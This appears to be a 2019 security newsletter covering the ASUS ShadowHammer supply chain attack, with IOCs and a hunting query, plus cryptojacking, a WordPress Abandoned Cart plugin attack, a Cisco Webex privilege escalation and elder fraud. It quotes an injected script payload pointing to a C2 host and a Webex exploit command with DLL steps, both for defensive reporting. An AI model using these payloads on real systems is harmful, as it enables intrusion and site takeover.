A Compromised the ASUS update infrastructure through auto-update software is causing a supply chain attack

Executive summary

The software supply chain continues to be a popular
channel for launching attacks.
available reports
indicate that attackers have reached a large
number of devices through auto-update software provided with computers from
Taiwanese manufacturer ASUS. In a campaign dubbed “Operation ShadowHammer”,
attackers have compromised the ASUS update infrastructure to deliver backdoored
versions of the Asus Live Update app, which comes preinstalled on ASUS

Microsoft is actively investigating available reports
as well as malware samples and telemetry. We have consolidated detections of
malicious binaries involved in this attack under the name

ASUS has indicated that they have replaced the
backdoored version of their updater and implemented enhancements to their
infrastructure. Microsoft continues to investigate this threat and will provide
updates as we get more information.

ASUS has also implemented a fix in the latest version (ver. 3.6.8) of the Live Update software, introduced multiple security verification mechanisms to prevent any malicious manipulation in the form of software updates or other means, and implemented an enhanced end-to-end encryption mechanism. At the same time, we have also updated and strengthened our server-to-end-user software architecture to prevent similar attacks from happening in the future.
Additionally, we have created an online security diagnostic tool to check for affected systems, and we encourage users who are still concerned to run it as a precaution. The tool can be found here: https://dlcdnets.asus.com/pub/ASUS/nb/Apps_for_Win10/ASUSDiagnosticTool/ASDT_v1.0.1.0.zip
Users who have any additional concerns are welcome to contact ASUS Customer Service.

More information about APT groups: https://www.fireeye.com/current-threats/apt-groups.html

  • How do I know whether or not my device has been targeted by the malware attack?
  • Only a very small number of specific user group were found to have been targeted by this attack and as such it is extremely unlikely that your device has been targeted. However, if you are still concerned about this matter, feel free to use ASUS’ security diagnostic tool or contact ASUS Customer Service for assistance.

  • What should I do if my device is affected?
  • Immediately run a backup of your files and restore your operating system to factory settings. This will completely remove the malware from your computer. In order to ensure the security of your information, ASUS recommends that you regularly update your passwords.

  • How do I make sure that I have the latest version of ASUS Live Update?
  • You can find out whether or not you have the latest version of ASUS Live Update by following the instructions shown in the link below:

  • Have other ASUS devices been affected by the malware attack?
  • No, only the version of Live Update used for notebooks has been affected. All other devices remain unaffected.



Our ShadowHammer detections center around variants of
the backdoored Asus Live Update app representing at least two generations of
attack code. These generations are marked by samples with shellcode that are
either in plaintext or encrypted. Also, the appearance of these updater
variants corresponds to the validity dates of the certificates used to sign
The backdoored updaters might have been designed to
target specific computers. They contain hardcoded MD5 hashes representing MAC
addresses. They appear to use these hashes to identify targets and determine
whether to deploy additional payloads.


Apply these mitigations to reduce the impact of this
threat. Check the recommendations card for the deployment status of monitored
  • ​Turn on cloud-delivered
    protection and automatic sample submission on Windows Defender Antivirus.
    These capabilities use artificial intelligence and machine learning to
    quickly identify and stop new and unknown threats.
  • Utilize the Windows
    Defender Firewall and your network firewall to prevent RPC and SMB
    communication among endpoints whenever possible. This limits lateral
    movement as well as other attack activities.
  • Secure internet-facing
    RDP services behind a multi-factor authentication (MFA) gateway. If you
    don’t have an MFA gateway, enable network-level authentication (NLA) and
    ensure that server machines have strong, randomized local admin passwords.
  • Customers that have not
    installed the ASUS Live Update app are not affected by the known attack
    method. Customers can either uninstall this app or get the latest version.
    to Asus
    , version 3.6.8 includes a fix and additional mechanisms
    that can prevent manipulation of updates.
  • Utilize Microsoft Edge
    or other web browsers that support SmartScreen. SmartScreen has removed
    reputation information for the certificates abused during these attacks.
    Binaries signed with those certificates will trigger a warning about an
    “unrecognized app”.

Detection details

Windows Defender Antivirus
Windows Defender Antivirus detects trojanized apps and
backdoor implants as the following malware:
Endpoint detection and
response (EDR)
Alerts with the following titles in the Windows
Defender Security Center portal can indicate threat activity on your network:
  • Malicious binaries
    associated with a supply chain attack
  • Network traffic to
    domains associated with a supply chain attack
Advanced hunting
Publicly available reports indicate that this attack
took place from June to November 2018, so some customers might only have
telemetry around this period. To locate related attack activity in the past 30
days, run the following query:
​//Event types that may be associated with the implant or container
union ProcessCreationEvents, NetworkCommunicationEvents, FileCreationEvents, ImageLoadEvents
| where EventTime > ago(30d)
//File SHAs for implant and container
| where InitiatingProcessSHA256 in("e01c1047001206c52c87b8197d772db2a1d3b7b4", 
"e005c58331eb7db04782fdf9089111979ce1406f", "69c08086c164e58a6d0398b0ffdcb957930b4cf2")
​//Download domain
| where EventTime > ago(30d)
| where RemoteUrl == "asushotfix.com" or RemoteIP == ""
The provided query checks events from the past 30 days.
Change EventTime to focus on a different


Files (SHA-1)
  • 2c591802d8741d6aef1a278b9aca06952f035b8f
  • e01c1047001206c52c87b8197d772db2a1d3b7b4
  • 5039ff974a81caf331e24eea0f2b33579b00d854
  • 9f0dbf2ba3b237ff5fd4213b65795595c513e8fa
  • e793c89ecf7ee1207e79421e137280ae1b377171
  • e005c58331eb7db04782fdf9089111979ce1406f
  • 4a8d9a9ca776aaaefd7f6b3ab385dbcfcbf2dfff
  • fdc7169d7e0a421dfb37ab2a9ecae9c9d5b4b8b2
Malware download URL
  • hxxp://asushotfix.com
URLs with compromised
  • hxxp://liveupdate01.asus.com/pub/ASUS/nb/Apps_for_Win8/LiveUpdate/Liveupdate_Test_VER365.zip
  • hxxps://liveupdate01s.asus.com/pub/ASUS/nb/Apps_for_Win8/LiveUpdate/Liveupdate_Test_VER362.zip
  • hxxps://liveupdate01s.asus.com/pub/ASUS/nb/Apps_for_Win8/LiveUpdate/Liveupdate_Test_VER360.zip
  • hxxps://liveupdate01s.asus.com/pub/ASUS/nb/Apps_for_Win8/LiveUpdate/Liveupdate_Test_VER359.zip
Abused certificates
ASUSTeK Computer Inc. 
Status: This certificate has expired and is no longer valid.
Issuer DigiCert SHA2 Assured ID Code Signing CA
Valid from 12:00 AM 07/27/2015
Valid to 12:00 PM 08/01/2018
Valid usage Code Signing
Algorithm sha256RSA
Thumbprint 29935023FF1386F5F0A0355B778B0DFF2022E196
Serial number 0F F0 67 D8 01 F7 DA EE AE 84 2E 9F E5 F6 10 EA
ASUSTeK Computer Inc. 
Status: Valid
Issuer DigiCert SHA2 Assured ID Code Signing CA
Valid from 12:00 AM 06/20/2018
Valid to 12:00 PM 06/22/2021
Valid usage Code Signing
Algorithm sha256RSA
Thumbprint 626646D29C5B0E7C53AA84698A4A97BE323CF17F
Serial number 05 E6 A0 BE 5A C3 59 C7 FF 11 F4 B4 67 AB 20 FC


Sites to check if your device has been targeted
Thanks to various sources for this information including  ASUS, Fireeye,  and Susan E Bradley


Metadata remnants patched on Google Photos

   A bug was discovered this week in Google Photos, where all photos in a users Google Photo account could have their metadata easily read and collected. Bad actors would target a particular query, for example, a location, and then measure the time it takes for the website to respond. Even though the response might be an access denied, there is value in knowing it’s presence or not. It is possible to confirm or deny the presence of particular tags in the photo when using this cross site search method of attack.

    Location is probably one of the more dangerous pieces of information that can be leaked using this attack as it is possible to build a timeline of the victim’s travels and location using consecutive searches. In the original report of this issue, the researcher was able to divine the approximate date and time of a visit to another country using a malicious website by interacting with a logged in google photos account.

    While this attack doesn’t give any access to the photos themselves, or anything other than whether or not the specified terms/queries exist, the benefits can be extrapolated out to schedules and can allow for more finely crafted malvertisements or phishing attempts. One could imagine a malware ridden site harvesting emails, gaining access to location information, and then sending malicious emails being sent concerning issues with travel expenses to a location which is lent more credence by the fact that our victim has traveled to the given location within the time frame that the email is sent.

   While this exploit in particular has been patched, there are countless other browser side attacks that can be exploited, and safeguarding your data is paramount. This attack shows how a clever adversary can wield information no matter how small the leakage. Tools are available for content control to prevent data leakage. Tools such as PuriFile can help you manage metadata, scrub documents of sensitive terms and information, and even help detect data that may be obfuscated.



Thanks to Peraton for this information


Please share important information  this with those who you know.

United States Attorney
William P. Barr recently stated that crimes against the elderly target some of
the most vulnerable people in our society. Because of their stage in life, they
don’t have the opportunity frequently to recover, and the losses are
devastating to them.

Whether as the result
of isolation, diminished cognition, financial insecurity, trusting too much,
being ashamed to report being scammed or concerned about how relatives will
react, serious concern for health or other causes, many of these crimes go

Information on The Federal Bureau of
Investigation Site


Information on The Department of
Justice Site

The video below
discusses scams and identity theft, looks at trends and gives tips and
tools with a focus on the Federal Trade Commission’s Pass It On 

Extent of elder abuse,
causes and characteristics, addressing mistreatment, financial exploration and

Abuse by caregivers,
domestic violence, fraud and financial abuse, training resources and tools, and
additional information and resources: https://www.ncjrs.gov/elderabuse/

Contains prosecutor
video series, federal financial exploitation resources, rural and tribal
resources, multidisciplinary guide and toolkit, webinars for elder abuse
professionals, elder abuse statutes and elder justice resources by state: https://justice.gov/elderlyjustice

Information on The Better Business
Bureau Site

The BBB tracks reported
scams throughout the U.S.

If you become aware of
elder fraud and/or abuse, you are right to be concerned. If you SEE SOMETHING,
please SAY SOMETHING in a timely manner to law enforcement, security and/or
your supervisor, and give the authorities the chance to make a difference.

The Virtual Security Summit by Microsoft

This free event has lots of good content the session are listed below. the event is Streaming Live April 16 , 9-12 noon PT.
To register go here

Featured Speakers
Securing emerging technologies
Learn about the new trends that will affect cybersecurity into the
future of Internet of Things and Machine Learning, and learn how to
maintain your organization’s resiliency throughout innovations in
Sian John 
Chief Security Advisor, Microsoft EMEA 
Hafid Elabdellaoui 
Chief Security Advisor, Microsoft 
Evolution of cyberthreats: Customer conversation identity and threat
Join this discussion on the evolution of cyberthreats and the latest thinking on identity and threat protection tactics.
Joram Borenstein
General Manager, Cybersecurity Solutions Group, Microsoft
Kostas Georgakopoulos
Chief Information Security Officer, Procter & Gamble
The importance of security frameworks CIS, NIST and others
Fraud Detection as a Service (FDaaS) is
helping government customers detect and prevent improper payments.
Learn how your agency can save significant staff resources and ensure
proper distribution of funds.
Curtis W. Dukes
Executive Vice President and General Manager
Security Best Practices and Automation Group, CIS
Sean Sweeney
Americas Director, Cybersecurity Solutions Group, Microsoft

Threat of Cryptojacking Still an Issue

In November of 2018 Forbes ran an article about the increase of cryptojacking. At the time the Cyber Threat Alliance (CTA) was indicating a 629% increase of infections in just the short time between Q1 to Q2 of 2018. Threats had grown from an estimated 400,000 (Q4 2017) infections to 2.5 million infected machines in Q2 of 2018. 2019 is still showing growth in cryptojacking threats.

The number of tools available to bad actors has grown. For example the Russian threat, WebCobra, that McAfee Labs researchers found, was able to drop one of two different payloads based on architecture it detected on the infected machine.

The threats are continuing to become more sophisticated as well.  360 Total Security researchers have released the details of the newer PsMiner malware. Designed to exploit known vulnerabilities in servers running ElasticSearch, Hadoop, Redis, Spring, Weblogic, ThinkPHP, and SqlServer to spread from server to server to mine for Monero.

The worm uses a file called Systemctl.exe written in the Go language to bundle then download the exploit modules and to attack Windows servers. In addition to the exploits, PsMiner has the ability to brute force its way in to a system. When it detects weak or default credentials, it can utilize a brute force password cracking component.

Once it PsMiner has access to a system, it then uses a PowerShell command to download a WindowsUpdate.ps1 with a malicious payload and master module that will drop the Monero miner on the system. The malware then copies itself into the temp directory and create a scheduled task called “Update service for Windows Service” that will run once every 10 minutes to prolong and refresh the infection. Using the XMRig CPU miner and a custom mining profile while using Living-off-the-Land (LotL) techniques, the worm can persist for some time.

This also shows a level of sophistication to which the bad actors have access.  Another example of this type of attack sticking around is the eight Microsoft Store apps found dropping cryptojacking malware on systems: Fast-search Lite, Battery Optimizer (Tutorials), VPN Browsers+, Downloader for YouTube Videos, Clean Master+ (Tutorials), FastTube, Findoo Browser 2019, and Findoo Mobile & Desktop Search.

These Apps have been since removed from the Microsoft store, but show a troubling pattern of predatory behavior.  Estimates are indicating that there have been ten times more organizations affected by cryptojacking than ransomware just last year. It is clear that cryptojacking is still a threat to consider in 2019.

https://www.bleepingcomputer.com/news/security/malware-spreads-as-a -worm-uses-cryptojacking-module-to-mine-for-monero/



Abandoned Cart plugin for WordPress sites exploit.

    Online shopping has the convenience of collecting items and dispensing personal judgement on the things you like and the things you don’t. All this without having the effort of hauling those things around a labyrinth of smells and sounds! And with the Abandoned Cart plugin for WordPress sites, the site administrator can hold on to your cart in case you have a desire to pick up where you left off if a sudden pressing matter arises, or you simply lose interest for the time being. But WordFence security researchers have noticed a flaw in the execution of the Abandoned Cart plugin which enables a complete site takeover along with laying a secondary backdoor to regain access in case of discovery.

    The Abandoned Cart plugin had a distinct lack of sanitation on the input and output of fields used when a user begins checking out. The billing_first_name and billing_last_name data fields are stored as entered. The two fields are then displayed concatenated in a customer field when the administrator logs in to view their dashboard.  The attack creates random first and last names and random email addresses to be acceptable form entries, but enters both the first and the last name as the billing_first_name entry and “<script src=hXXps://bit[.]ly/2SzpVBY></script>“ as the billing_last_name field. The URL points to a Command control server, “hXXps://cdn-bigcommerce[.]com/ visionstat.js” which contains a malicious JavaScript payload.

    The attacker first uses the victim’s browser session to make trusted actions on the WordPress website using hidden iframes, acting while the user is unaware of the invasion occurring. The first action taken is creating an administrative user for the site to which the attacker has the credentials. Who needs a backdoor, when you create keys to the front door for yourself? The user to these clandestine accounts has consistently been found to be “woouser” with a “woouser” email at mailinator, a free disposable email.  The malicious JavaScript then infects an inactive plugin with a malicious script that still listens for commands from the C2 server. The script can execute arbitrary PHP code on the compromised server. Both infiltration processes report the infected website’s URL to the C2 server and a confirmation email is sent to the mailinator address to confirm the administrator account.

    A patch for this vulnerability was released, which uses WordPress’ own data sanitizer to exclude names beginning with “<“ and any account with “woouser” in the email. While this prevents the initial attack from creating adversary controlled accounts, it doesn’t address the code injection in the deactivated plugins.


https:// nakedsecurity.sophos.com/2019/03/13/update-now-wordpress-abandoned-cartplugin-under-attack/Cryptojacking

New Elevation of Privilege Vulnerability in Cisco Webex

     A new elevation of privilege vulnerability has been discovered in the Cisco WebEx Meetings desktop app for Windows® by security researcher Marcos Accossatto from SecureAuth Exploits’ Writers Team.

     This vulnerability, tracked as CVE-2019-1674, is an OS Command Injection that can be used to bypass new controls that Cisco put in place after patching a previously disclosed DLL hijacking issue in 2018. This vulnerability could allow a local attacker to elevate their privileges by invoking the update service command. An attacker could exploit this flaw by swapping out the Cisco WebEx Meetings update binary with “a previous vulnerable version through a fake update… that will load a malicious DLL.” The researchers also noted that while this vulnerability can only be exploited locally, it could be exploited remotely in an Active Directory setup through operating system remote management tools.

    The update service for Cisco WebEx Meetings uses XML to check against new files when installing an update. However, this vulnerability would fail to validate version numbers of new files. This is how attackers could potentially insert different files into the update service and trick the update service into “updating” the program to an older, insecure version of Cisco WebEx Meetings. According to SecureAuth, “The vulnerability can be exploited by copying to a local attacker controller folder, the ptUpdate.exe binary. Also, a malicious dll must be placed in the same folder, named wbxtrace.dll. To gain privileges, the attacker must start the service with the command line: sc start webexservice install software-update 1 ‘attacker-controlled-path’ (if the parameter 1 doesn’t work, then 2 should be used).” The research team also released a two-step Proof of Concept showing how this vulnerability can be exploited.

     The timeline for this vulnerability is about 2 months long and is as follows: on Dec. 4, 2018, SecureAuth sent the initial notification to Cisco PSIRT. On Dec. 5, 2018, Cisco confirmed they received the advisory and opened a case for it, and on Dec. 7, 2018, Cisco confirmed that they were able to reproduce the vulnerability and began working on a plan to fix it. On Dec. 10, 2018, Cisco told SecureAuth that the fix for the vulnerability would be generally available by the end of February. After a couple of attempts by SecureAuth to get updates on the status of the patch for the vulnerability, Cisco, on Jan. 22, 2019, said they were still aiming for an end of February release. Finally, on Feb. 11, 2019, Cisco confirmed that Feb. 27, 2019 would be the official disclosure date, and have now disclosed a patch for this security vulnerability.

    If your company uses Cisco WebEx Meetings desktop app on Windows, be sure to update it immediately to avoid any potential attacks due to this vulnerability.